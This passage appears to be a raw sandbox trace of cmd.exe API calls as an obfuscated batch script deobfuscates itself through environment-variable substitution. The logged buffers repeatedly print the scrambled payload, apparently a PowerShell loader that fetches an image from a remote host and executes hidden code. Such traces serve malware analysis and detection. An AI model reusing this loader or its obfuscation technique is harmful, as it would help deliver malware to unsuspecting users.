Fl6aRIA3QI9le80e*XbGC7y).7yaTdvE.InFl6PjQIE7yjUaXmuQIanjU.IqFl6N7yPjQIes7yjUaRZGC7yy%11Tdjh eqFl6N7y80s3Td]7y).Fl6aTd3e ) ^^^|GC7yyPj4ERsheZ7yElTd -nXqFl6NZqFl6N%E]a7yjUa%I -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7e,v%IPjqFl6Nk7yPjTdI, 3QI9`GC7yyAjhjh -nPjGC7yy]PjzEhIle -7yjUaPjmuQIAqFl6N37 ^^^^^^^&1 @eqFl6N7y807yjUaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv% ) ^&^& ,m37.e7E ,g, oa37Z/Tgo") returned 0x6c0 [0102.270] GetConsoleTitleW (in: lpConsoleTitle=0x12ec80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.270] wcsncmp (_String1="'}_-", _String2="/", _MaxCount=0x4) returned -8 [0102.272] GetEnvironmentVariableW (in: lpName="'}_-", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGC7y svTd]Fl6aK. 1 @sheZ7yelTdI37{jUnPjy+@s%zEhETdlI37{jUn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'A'+'3737-%'+'`k7ye -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'Fl66k7yuuQI37s'+'aKFl] jh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11Fl] qFl6NeGC7y.W'+'e3QI97yjUa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys:,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g90,gFljUn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yuuQI'+'mQIaKFl] u`'+'GC7y'+'e{Pjy '+'2jUnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]ea,%zEh1'+'Fl6'+'6'+'k7yuuQI7 Zn10..H'+'2('+'))\\Fl66k7yuuQI'+'GC7y'+'GC7yaKFl66k7yuuQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yuuQI7axd'+'Fl6'+'6k7yuuQI_'+')[Fl66k7yuuQImQI'+'{Fl66k7yuuQI'+'_*H2iy+Fl66k7yuuQI7PjyaK1{maGC7y%zEhPjy::zEh'+'lX'+'X]11Fl66'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5)*jUn6)-3QI9X]'+'1Fl66k7yuuQIGC7y'+'GC7y.aE -3QI9an37 jUn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'n,X37Zn'+'g'+'Pjy::Ajh7yjUaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yuuQI'+'mQI{0.'+'.'+'jUn'+'90('+'Pjy)'+')').Rek7yla7yjUaE1'9a7'axd{s%RInaEPjy{7yjUa%zEhA]Pjy#H).Rek7yla7yjUaE11{7yjUa%zEhA]Pjy9iy+{7yjUa%zEhA]Pjyiy#+{7yjUa%zEhA]PjyjUn06)axd{s%RInaEPjy{7yjUa%zEhA]PjyjUn2H).Rek7yla7yjUaE11{7yjUa%zEhA]PjyjUnjUniy+{7yjUa%zEhA]Pjy5H+{7yjUa%zEhA]PjyiyjUn)axd{s%RInaEPjy{7yjUa%zEhA]Pjy#6))^&^& se% ajUI/`aKE,%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGC7y).7yaTdvE.InFl6PjQIE7yjUaXmuQIanjU.IqFl6N7yPjQIes7yjUaRZGC7yy%11Tdjh eqFl6N7y:s3Td]7y).Fl6aTd3e ) ^^^|GC7yyPj4ERsheZ7yElTd -nXqFl6NZqFl6N%E]a7yjUa%I -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7e,v%IPjqFl6Nk7yPjTdI, 3QI9`GC7yyAjhjh -nPjGC7yy]PjzEhIle -7yjUaPjmuQIAqFl6N37 ^^^^^^^&1 @eqFl6N7y:7yjUaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv% ) ^&^& ,m37.e7E ,g, oa37Z/Tgo") returned 0x6b8 [0102.273] GetConsoleTitleW (in: lpConsoleTitle=0x12ec80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.273] wcsncmp (_String1="]", _String2="/", _MaxCount=0x4) returned 46 [0102.276] GetEnvironmentVariableW (in: lpName=";]", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGC7y svTd]Fl6aK. 1 @sheZ7yelTdI37{DnPjy+@s%zEhETdlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'A'+'3737-%'+'`k7ye -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGC7yem.D]a'+'4'+'Zng9a7['+'Fl66k7yuuQI37s'+'aKFl] jh`sGC7ye'+'m.'+'D]a4Zn'+'g.u'+'ZGC7ymak7y11Fl] qFl6NeGC7y.W'+'e3QI97yDa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys:,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g90,gFlDn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yuuQI'+'mQIaKFl] u`'+'GC7y'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]ea,%zEh1'+'Fl6'+'6'+'k7yuuQI7 Zn10..H'+'2('+'))\\Fl66k7yuuQI'+'GC7y'+'GC7yaKFl66k7yuuQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yuuQI7axd'+'Fl6'+'6k7yuuQI_'+')[Fl66k7yuuQImQI'+'{Fl66k7yuuQI'+'_*H2iy+Fl66k7yuuQI7PjyaK1{maGC7y%zEhPjy::zEh'+'lX'+'X]11Fl66'+'k7yuuQIGC7yGC7y.u-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66k7yuuQIGC7y'+'GC7y.aE -3QI9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'n,X37Zn'+'g'+'Pjy::Ajh7yDaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yuuQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').Rek7yla7yDaE1'9a7'axd{s%RInaEPjy{7yDa%zEhA]Pjy#H).Rek7yla7yDaE11{7yDa%zEhA]Pjy9iy+{7yDa%zEhA]Pjyiy#+{7yDa%zEhA]PjyDn06)axd{s%RInaEPjy{7yDa%zEhA]PjyDn2H).Rek7yla7yDaE11{7yDa%zEhA]PjyDnDniy+{7yDa%zEhA]Pjy5H+{7yDa%zEhA]PjyiyDn)axd{s%RInaEPjy{7yDa%zEhA]Pjy#6))^&^& se% aDI/`aKE,%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGC7y).7yaTdvE.InFl6PjQIE7yDaXmuQIanD.IqFl6N7yPjQIes7yDaRZGC7yy%11Tdjh eqFl6N7y:s3Td]7y).Fl6aTd3e ) ^^^|GC7yyPj4ERsheZ7yElTd -nXqFl6NZqFl6N%E]a7yDa%I -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7e,v%IPjqFl6Nk7yPjTdI, 3QI9`GC7yyAjhjh -nPjGC7yy]PjzEhIle -7yDaPjmuQIAqFl6N37 ^^^^^^^&1 @eqFl6N7y:7yDaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv% ) ^&^& ,m37.e7E ,g, oa37Z/Tgo") returned 0x694 [0102.276] GetConsoleTitleW (in: lpConsoleTitle=0x12ec50, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.277] wcsncmp (_String1="`\\+", _String2="/", _MaxCount=0x4) returned 49 [0102.281] GetEnvironmentVariableW (in: lpName="`\\+", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGC7y svTd]Fl6aK. 1 @sheZ7yelTdI37{DnPjy+@s%zEhETdlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZec'+'GC7y'+'['+'A'+'3737-%'+'`k7ye -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGC7yem.D]a'+'4'+'Zng9a7['+'Fl66k7yuuQI37s'+'aKFl] jh`sGC7ye'+'m.'+'D]a4Zn'+'g.u'+'ZGC7ymak7y11Fl] qFl6NeGC7y.W'+'e3QI97yDa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys:cgcgZmag'+'es2.Zmg3QI9X'+'7.cX'+'mcg90cgFlDncg'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yuuQI'+'mQIaKFl] u`'+'GC7y'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'k7yuuQI7 Zn10..H'+'2('+'))\\Fl66k7yuuQI'+'GC7y'+'GC7yaKFl66k7yuuQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yuuQI7axd'+'Fl6'+'6k7yuuQI_'+')[Fl66k7yuuQImQI'+'{Fl66k7yuuQI'+'_*H2iy+Fl66k7yuuQI7PjyaK1{maGC7y%zEhPjy::zEh'+'lX'+'X]11Fl66'+'k7yuuQIGC7yGC7y.u-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66k7yuuQIGC7y'+'GC7y.aE -3QI9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'ncX37Zn'+'g'+'Pjy::Ajh7yDaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yuuQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').Rek7yla7yDaE1'9a7'axd{s%RInaEPjy{7yDa%zEhA]Pjy#H).Rek7yla7yDaE11{7yDa%zEhA]Pjy9iy+{7yDa%zEhA]Pjyiy#+{7yDa%zEhA]PjyDn06)axd{s%RInaEPjy{7yDa%zEhA]PjyDn2H).Rek7yla7yDaE11{7yDa%zEhA]PjyDnDniy+{7yDa%zEhA]Pjy5H+{7yDa%zEhA]PjyiyDn)axd{s%RInaEPjy{7yDa%zEhA]Pjy#6))^&^& se% aDI/`aKEc%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGC7y).7yaTdvE.InFl6PjQIE7yDaXmuQIanD.IqFl6N7yPjQIes7yDaRZGC7yy%11Tdjh eqFl6N7y:s3Td]7y).Fl6aTd3e ) ^^^|GC7yyPj4ERsheZ7yElTd -nXqFl6NZqFl6N%E]a7yDa%I -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecv%IPjqFl6Nk7yPjTdIc 3QI9`GC7yyAjhjh -nPjGC7yy]PjzEhIle -7yDaPjmuQIAqFl6N37 ^^^^^^^&1 @eqFl6N7y:7yDaXmsGC7yyec{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv% ) ^&^& cm37.e7E cgc oa37Z/Tgo") returned 0x694 [0102.281] GetConsoleTitleW (in: lpConsoleTitle=0x12ebc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.289] wcsncmp (_String1="_@.-", _String2="/", _MaxCount=0x4) returned 48 [0102.291] GetEnvironmentVariableW (in: lpName="_@.-", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGC7y svTd]Fl6aK. 1 @sheZ7yelTdI37{DnPjy+@s%zEhETdlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZec'+'GC7y'+'['+'A'+'3737-%'+'`k7ye -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGC7yem.D]a'+'4'+'Zng9a7['+'Fl66k7yuuQI37s'+'aKFl] jh`sGC7ye'+'m.'+'D]a4Zn'+'g.u'+'ZGC7ymak7y11Fl] qFl6NeGC7y.W'+'e3QI97yDa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys:cgcgZmag'+'es2.Zmg3QI9X'+'7.cX'+'mcg90cgFlDncg'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yuuQI'+'mQIaKFl] u`'+'GC7y'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'k7yuuQI7 Zn10..H'+'2('+'))\\Fl66k7yuuQI'+'GC7y'+'GC7yaKFl66k7yuuQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yuuQI7axd'+'Fl6'+'6k7yuuQI_'+')[Fl66k7yuuQImQI'+'{Fl66k7yuuQI'+'_*H28+Fl66k7yuuQI7PjyaK1{maGC7y%zEhPjy::zEh'+'lX'+'X]11Fl66'+'k7yuuQIGC7yGC7y.u-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66k7yuuQIGC7y'+'GC7y.aE -3QI9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'ncX37Zn'+'g'+'Pjy::Ajh7yDaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yuuQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').Rek7yla7yDaE1'9a7'axd{s%RInaEPjy{7yDa%zEhA]Pjy#H).Rek7yla7yDaE11{7yDa%zEhA]Pjy98+{7yDa%zEhA]Pjy8#+{7yDa%zEhA]PjyDn06)axd{s%RInaEPjy{7yDa%zEhA]PjyDn2H).Rek7yla7yDaE11{7yDa%zEhA]PjyDnDn8+{7yDa%zEhA]Pjy5H+{7yDa%zEhA]Pjy8Dn)axd{s%RInaEPjy{7yDa%zEhA]Pjy#6))^&^& se% aDI/`aKEc%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGC7y).7yaTdvE.InFl6PjQIE7yDaXmuQIanD.IqFl6N7yPjQIes7yDaRZGC7yy%11Tdjh eqFl6N7y:s3Td]7y).Fl6aTd3e ) ^^^|GC7yyPj4ERsheZ7yElTd -nXqFl6NZqFl6N%E]a7yDa%I -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecv%IPjqFl6Nk7yPjTdIc 3QI9`GC7yyAjhjh -nPjGC7yy]PjzEhIle -7yDaPjmuQIAqFl6N37 ^^^^^^^&1 @eqFl6N7y:7yDaXmsGC7yyec{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv% ) ^&^& cm37.e7E cgc oa37Z/Tgo") returned 0x68f [0102.292] GetConsoleTitleW (in: lpConsoleTitle=0x12ec20, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.292] wcsncmp (_String1="$'", _String2="/", _MaxCount=0x4) returned -11 [0102.295] GetEnvironmentVariableW (in: lpName="$'", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGC7y svTd]Fl6aK. 1 @sheZ7yelTdI37{DnPjy+@s%zEhETdlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZec'+'GC7y'+'['+'A'+'3737-%'+'`k7ye -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGC7yem.D]a'+'4'+'Zng9a7['+'Fl66k7yBBQI37s'+'aKFl] jh`sGC7ye'+'m.'+'D]a4Zn'+'g.B'+'ZGC7ymak7y11Fl] qFl6NeGC7y.W'+'e3QI97yDa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys:cgcgZmag'+'es2.Zmg3QI9X'+'7.cX'+'mcg90cgFlDncg'+'gaGC7y2BQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yBBQI'+'mQIaKFl] B`'+'GC7y'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'k7yBBQI7 Zn10..H'+'2('+'))\\Fl66k7yBBQI'+'GC7y'+'GC7yaKFl66k7yBBQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yBBQI7axd'+'Fl6'+'6k7yBBQI_'+')[Fl66k7yBBQImQI'+'{Fl66k7yBBQI'+'_*H28+Fl66k7yBBQI7PjyaK1{maGC7y%zEhPjy::zEh'+'lX'+'X]11Fl66'+'k7yBBQIGC7yGC7y.B-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66k7yBBQIGC7y'+'GC7y.aE -3QI9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'ncX37Zn'+'g'+'Pjy::Ajh7yDaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yBBQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').Rek7yla7yDaE1'9a7'axd{s%RInaEPjy{7yDa%zEhA]Pjy#H).Rek7yla7yDaE11{7yDa%zEhA]Pjy98+{7yDa%zEhA]Pjy8#+{7yDa%zEhA]PjyDn06)axd{s%RInaEPjy{7yDa%zEhA]PjyDn2H).Rek7yla7yDaE11{7yDa%zEhA]PjyDnDn8+{7yDa%zEhA]Pjy5H+{7yDa%zEhA]Pjy8Dn)axd{s%RInaEPjy{7yDa%zEhA]Pjy#6))^&^& se% aDI/`aKEc%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGC7y).7yaTdvE.InFl6PjQIE7yDaXmBQIanD.IqFl6N7yPjQIes7yDaRZGC7yy%11Tdjh eqFl6N7y:s3Td]7y).Fl6aTd3e ) ^^^|GC7yyPj4ERsheZ7yElTd -nXqFl6NZqFl6N%E]a7yDa%I -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecv%IPjqFl6Nk7yPjTdIc 3QI9`GC7yyAjhjh -nPjGC7yy]PjzEhIle -7yDaPjmBQIAqFl6N37 ^^^^^^^&1 @eqFl6N7y:7yDaXmsGC7yyec{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv% ) ^&^& cm37.e7E cgc oa37Z/Tgo") returned 0x68f [0102.295] GetConsoleTitleW (in: lpConsoleTitle=0x12ead0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.295] wcsncmp (_String1=".", _String2="/", _MaxCount=0x4) returned -1 [0102.299] GetEnvironmentVariableW (in: lpName=".,`_", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGC7y suTd]Fl6aK. 1 @sheZ7yelTdI37{DnPjy+@s%zEhETdlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZec'+'GC7y'+'['+'A'+'3737-%'+'`k7ye -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGC7yem.D]a'+'4'+'Zng9a7['+'Fl66k7yBBQI37s'+'aKFl] jh`sGC7ye'+'m.'+'D]a4Zn'+'g.B'+'ZGC7ymak7y11Fl] qFl6NeGC7y.W'+'e3QI97yDa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys:cgcgZmag'+'es2.Zmg3QI9X'+'7.cX'+'mcg90cgFlDncg'+'gaGC7y2BQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yBBQI'+'mQIaKFl] B`'+'GC7y'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'k7yBBQI7 Zn10..H'+'2('+'))\\Fl66k7yBBQI'+'GC7y'+'GC7yaKFl66k7yBBQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yBBQI7axd'+'Fl6'+'6k7yBBQI_'+')[Fl66k7yBBQImQI'+'{Fl66k7yBBQI'+'_*H28+Fl66k7yBBQI7PjyaK1{maGC7y%zEhPjy::zEh'+'lX'+'X]11Fl66'+'k7yBBQIGC7yGC7y.B-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66k7yBBQIGC7y'+'GC7y.aE -3QI9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'ncX37Zn'+'g'+'Pjy::Ajh7yDaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yBBQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').Rek7yla7yDaE1'9a7'axd{s%RInaEPjy{7yDa%zEhA]Pjy#H).Rek7yla7yDaE11{7yDa%zEhA]Pjy98+{7yDa%zEhA]Pjy8#+{7yDa%zEhA]PjyDn06)axd{s%RInaEPjy{7yDa%zEhA]PjyDn2H).Rek7yla7yDaE11{7yDa%zEhA]PjyDnDn8+{7yDa%zEhA]Pjy5H+{7yDa%zEhA]Pjy8Dn)axd{s%RInaEPjy{7yDa%zEhA]Pjy#6))^&^& se% aDI/`aKEc%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGC7y).7yaTduE.InFl6PjQIE7yDaXmBQIanD.IqFl6N7yPjQIes7yDaRZGC7yy%11Tdjh eqFl6N7y:s3Td]7y).Fl6aTd3e ) ^^^|GC7yyPj4ERsheZ7yElTd -nXqFl6NZqFl6N%E]a7yDa%I -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecu%IPjqFl6Nk7yPjTdIc 3QI9`GC7yyAjhjh -nPjGC7yy]PjzEhIle -7yDaPjmBQIAqFl6N37 ^^^^^^^&1 @eqFl6N7y:7yDaXmsGC7yyec{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yu% ) ^&^& cm37.e7E cgc oa37Z/Tgo") returned 0x68f [0102.299] GetConsoleTitleW (in: lpConsoleTitle=0x12eaa0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.300] wcsncmp (_String1="'", _String2="/", _MaxCount=0x4) returned -8 [0102.305] GetEnvironmentVariableW (in: lpName="',`+", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGC7y suTd]Fl6aK. 1 @sheZ7yelTdI37{DnPjy+@s%zEhETdlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZec'+'GC7y'+'['+'A'+'3737-%'+'`k7ye -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGC7yem.D]a'+'4'+'Zng9a7['+'Fl66k7yBBQI37s'+'aKFl] jh`sGC7ye'+'m.'+'D]a4Zn'+'g.B'+'ZGC7ymak7y11Fl] qFl6NeGC7y.W'+'e3QI97yDa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys:cgcgZmag'+'es2.Zmg3QI9X'+'7.cX'+'mcg90cgFlDncg'+'gaGC7y2BQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yBBQI'+'mQIaKFl] B`'+'GC7y'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'k7yBBQI7 Zn10..H'+'2('+'))\\Fl66k7yBBQI'+'GC7y'+'GC7yaKFl66k7yBBQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yBBQI7,'+'Fl6'+'6k7yBBQI_'+')[Fl66k7yBBQImQI'+'{Fl66k7yBBQI'+'_*H28+Fl66k7yBBQI7PjyaK1{maGC7y%zEhPjy::zEh'+'lX'+'X]11Fl66'+'k7yBBQIGC7yGC7y.B-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66k7yBBQIGC7y'+'GC7y.aE -3QI9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'ncX37Zn'+'g'+'Pjy::Ajh7yDaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yBBQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').Rek7yla7yDaE1'9a7',{s%RInaEPjy{7yDa%zEhA]Pjy#H).Rek7yla7yDaE11{7yDa%zEhA]Pjy98+{7yDa%zEhA]Pjy8#+{7yDa%zEhA]PjyDn06),{s%RInaEPjy{7yDa%zEhA]PjyDn2H).Rek7yla7yDaE11{7yDa%zEhA]PjyDnDn8+{7yDa%zEhA]Pjy5H+{7yDa%zEhA]Pjy8Dn),{s%RInaEPjy{7yDa%zEhA]Pjy#6))^&^& se% aDI/`aKEc%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGC7y).7yaTduE.InFl6PjQIE7yDaXmBQIanD.IqFl6N7yPjQIes7yDaRZGC7yy%11Tdjh eqFl6N7y:s3Td]7y).Fl6aTd3e ) ^^^|GC7yyPj4ERsheZ7yElTd -nXqFl6NZqFl6N%E]a7yDa%I -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecu%IPjqFl6Nk7yPjTdIc 3QI9`GC7yyAjhjh -nPjGC7yy]PjzEhIle -7yDaPjmBQIAqFl6N37 ^^^^^^^&1 @eqFl6N7y:7yDaXmsGC7yyec{H,2H,25Pjy-TdQXIn'')1@Znk7yu% ) ^&^& cm37.e7E cgc oa37Z/Tgo") returned 0x683 [0102.305] GetConsoleTitleW (in: lpConsoleTitle=0x12e8c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.305] wcsncmp (_String1="_}~", _String2="/", _MaxCount=0x4) returned 48 [0102.307] GetEnvironmentVariableW (in: lpName=",_}~", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGCV suTd]Fl6aK. 1 @sheZVelTdI37{DnPjy+@s%zEhETdlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZec'+'GCV'+'['+'A'+'3737-%'+'`kVe -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGCVem.D]a'+'4'+'Zng9a7['+'Fl66kVBBQI37s'+'aKFl] jh`sGCVe'+'m.'+'D]a4Zn'+'g.B'+'ZGCVmakV11Fl] qFl6NeGCV.W'+'e3QI9VDa'+'lZenGCV).'+'PjkVenRea3719a'+'7'+'%zEhGCVGCVkVs:cgcgZmag'+'es2.Zmg3QI9X'+'7.cX'+'mcg90cgFlDncg'+'gaGCV2BQIVsK_X.'+'kVng9a7'+'))['+'Fl66kVBBQI'+'mQIaKFl] B`'+'GCV'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]eac%zEh1'+'Fl6'+'6'+'kVBBQI7 Zn10..H'+'2('+'))\\Fl66kVBBQI'+'GCV'+'GCVaKFl66kVBBQI37s.aEe'+'GCVGCVyZ7el1Fl66kVBBQI7,'+'Fl6'+'6kVBBQI_'+')[Fl66kVBBQImQI'+'{Fl66kVBBQI'+'_*H28+Fl66kVBBQI7PjyaK1{maGCV%zEhPjy::zEh'+'lX'+'X]11Fl66'+'kVBBQIGCVGCV.B-3QI9an37Dn5)*Dn6)-3QI9X]'+'1Fl66kVBBQIGCV'+'GCV.aE -3QI9an37 Dn5))}'+'}['+'I'+'EXb1'+'{jh`sGCV'+'em.%e7'+'GCV.E'+'ncX37Zn'+'g'+'Pjy::AjhVDaII.'+'aEeGCVjh'+'GCV]Zng1Fl66'+'kVBBQI'+'mQI{0.'+'.'+'Dn'+'90('+'Pjy)'+')').RekVlaVDaE1'9a7',{s%RInaEPjy{VDa%zEhA]Pjy#H).RekVlaVDaE11{VDa%zEhA]Pjy98+{VDa%zEhA]Pjy8#+{VDa%zEhA]PjyDn06),{s%RInaEPjy{VDa%zEhA]PjyDn2H).RekVlaVDaE11{VDa%zEhA]PjyDnDn8+{VDa%zEhA]Pjy5H+{VDa%zEhA]Pjy8Dn),{s%RInaEPjy{VDa%zEhA]Pjy#6))^&^& se% aDI/`aKEc%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGCV).VaTduE.InFl6PjQIEVDaXmBQIanD.IqFl6NVPjQIesVDaRZGCVy%11Tdjh eqFl6NV:s3Td]V).Fl6aTd3e ) ^^^|GCVyPj4ERsheZVElTd -nXqFl6NZqFl6N%E]aVDa%I -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7ecu%IPjqFl6NkVPjTdIc 3QI9`GCVyAjhjh -nPjGCVy]PjzEhIle -VDaPjmBQIAqFl6N37 ^^^^^^^&1 @eqFl6NV:VDaXmsGCVyec{H,2H,25Pjy-TdQXIn'')1@ZnkVu% ) ^&^& cm37.e7E cgc oa37Z/Tgo") returned 0x633 [0102.309] GetConsoleTitleW (in: lpConsoleTitle=0x12e8c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.309] wcsncmp (_String1="'{", _String2="/", _MaxCount=0x4) returned -8 [0102.311] GetEnvironmentVariableW (in: lpName="'{", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGCV suTd]Fl6aK. 1 @sheZVelTdI37{DnPjy+@s%zEhETdlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZec'+'GCV'+'['+'A'+'3737-%'+'`pe -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGCVem.D]a'+'4'+'Zng9a7['+'Fl66pBBQI37s'+'aKFl] jh`sGCVe'+'m.'+'D]a4Zn'+'g.B'+'ZGCVmap11Fl] 